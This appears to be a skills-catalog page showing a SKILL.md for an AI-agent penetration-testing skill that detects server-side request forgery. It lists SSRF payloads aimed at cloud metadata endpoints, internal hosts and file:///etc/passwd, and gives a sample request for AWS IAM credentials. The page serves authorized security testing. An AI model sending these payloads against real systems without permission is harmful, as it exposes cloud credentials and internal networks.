La interfaz está localizada; las descripciones y documentos de las Skills se traducen automáticamente con IA a su idioma. El código, los comandos, rutas y términos técnicos se mantienen en el original, y prevalece el documento del autor.
Explorar Skills
Productividad · SKILL.md

performing-ssrf-vulnerability-exploitation

performing-ssrf-vulnerability-exploitation

通过探测云元数据端点、内网服务和协议处理器,检测用户可控 URL 参数中的 服务端请求伪造(SSRF)漏洞。测试 AWS/GCP/Azure 元数据 API(169.254.169.254)、 通过 HTTP 进行内网端口扫描、URL 协议绕过技术以及 DNS 重绑定检测。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentación de la Skill

GitHub

name: performing-ssrf-vulnerability-exploitation description: >- 通过探测云元数据端点、内网服务和协议处理器,检测用户可控 URL 参数中的 服务端请求伪造(SSRF)漏洞。测试 AWS/GCP/Azure 元数据 API(169.254.169.254)、 通过 HTTP 进行内网端口扫描、URL 协议绕过技术以及 DNS 重绑定检测。 domain: cybersecurity subdomain: security-operations tags: [performing, ssrf, vulnerability, exploitation] version: "1.0" author: mahipal license: Apache-2.0

说明

  1. 安装依赖:pip install requests
  2. 识别目标应用中接受 URL 或主机名的 URL 参数。
  3. 测试 SSRF 载荷:
    • 云元数据:http://169.254.169.254/latest/meta-data/
    • 内网服务:http://127.0.0.1:port/、http://10.0.0.1/
    • 协议处理器:file:///etc/passwd、gopher://、dict://
    • 绕过技术:IP 编码、DNS 重绑定、URL 重定向
  4. 分析响应,确认信息泄露或内网访问。
  5. 生成漏洞评估报告。
# 仅用于已授权的渗透测试和实验室环境
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

示例

AWS 元数据 SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

如果响应中包含 AWS 凭据(AccessKeyId、SecretAccessKey),则证实存在高危 SSRF 漏洞。

Skills guardadas